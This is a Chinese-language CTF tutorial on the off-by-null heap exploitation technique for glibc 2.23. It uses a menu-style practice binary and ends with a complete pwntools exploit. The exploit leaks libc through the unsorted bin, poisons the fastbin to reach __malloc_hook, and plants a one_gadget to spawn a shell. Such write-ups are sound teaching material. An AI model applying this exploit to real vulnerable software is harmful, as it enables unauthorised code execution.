off-by-null(2.23)

知识点

off-by-null其实就是特殊的off-by-one,只不过溢出的那一个字节指定为’\x00’,在off-by-one中我们是利用溢出的一个字节修改下一个堆块的size大小,从而达到向下吞并的效果,现在size被我们修改为’\x00’,那么堆块就会向上吞并, 吞并的大小为pre size的大小,当我们释放该堆块时,实际上是释放了这个堆块本身和它前面pre size大小的堆块。

例题

依旧采用经典菜单题,跟off-by-one用的一个例题,为了方便没有构造多溢出一个字节的漏洞,编辑堆块时可以自定义堆块大小,我们自己多加一个字节即可。先把菜单写好

image-20250811132907921

先申请四个堆块,我们要通过修改1号堆块的内容溢出一个字节来修改2号堆块的pre size为0号加1号堆块的大小,size为’\x00’,从而实现向上吞并0号和1号堆块,3号堆块则是用来隔绝top chunk的

image-20250811133023127

释放0号堆块,这一操作的目的是应对2号堆块向上吞并的检测,源码好像是要求吞并堆块的头部堆块的fd指针和bk指针指向同一位置,将堆块释放进unsorted bin恰好就满足了这一条件,这也就是0号堆块要大于0x80的原因。之后修改1号堆块,先把1号堆块的0x60填满,之后写入2号堆块的pre size,大小应该为0号加1号,也就是0xf8+0x8+0x68+0x8=0x170,那么就将pre size填入p64(0x170),给size填入’\x00’。然后释放2号堆块,那么实际上释放了2号,还有它前面0+1的大小的堆块进入到unsorted bin中。我们还没有泄露libc地址,现在只有1号堆块还没有进入bin中,那我们要想办法让1号堆块的fd指针挂载上libc地址,这里用到了和之前泄露libc地址不一样的思路,现在unsorted bin中的1号堆块并不是头指针,所以它的fd指针上还没有libc地址,接下来我们的操作是申请了一个0号堆块大小的堆块,这个堆块将会从unsorted bin中切割,切割后的unsorted bin中,1号堆块就成了头指针,它的fd指针上就会残留libc地址,那么我们show 1号堆块就可以得到libc地址。

image-20250811141023455

接下来我们申请一个1号堆块大小的5号堆块,那么5号堆块和1号堆块其实指针指向是相同的,相当于有两个1号堆块,我们释放掉其中一个5号堆块,然后修改另一个为malloc_hook-0x23就完成了对fastbin中的5号堆块fd指针的修改,之后连续申请两次把malloc_hook申请出来,再挂载one_gadget进去,执行mallloc就完成攻击了

image-20250811145644408

完整exp:

from pwn import *

io=process("./off-by-null")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os="linux",arch="amd64",log_level="debug")
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())

add(0,0xF8) # -> chunk0
add(1,0x68) # -> chunk1 -> size less than 0x80(fastbin)
add(2,0xF8) # -> chunk2(>0x100)
add(3,0x68) # -> chunk3 use for isolate top_chunk

delete(0)

edit(1,0x70,b"\x00"*(0x60) + p64(0x170) + b'\x00')

delete(2) # really is free(2) + free(1) + free(0)

add(4,0xF8) #really is add(0) unsortedbin has chunk1 + chunk2 -> so chunk1 fd is libc_addr

show(1)

leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('leak_addr is -->' + hex(leak_addr))

padding= 0x3c4b78

libc_base = leak_addr - padding
log.success('libc_base is -->' + hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']

one_gadget=libc_base+0x4527a

add(5,0x68) # also is chunk1 -> so we have two chunk1

delete(5)

edit(1,0x10,p64(malloc_hook - 0x23))

add(6,0x68)

add(7,0x68)

edit(7,0x30,b"a"*0x13 + p64(one_gadget))

add(8,0x10)

io.interactive()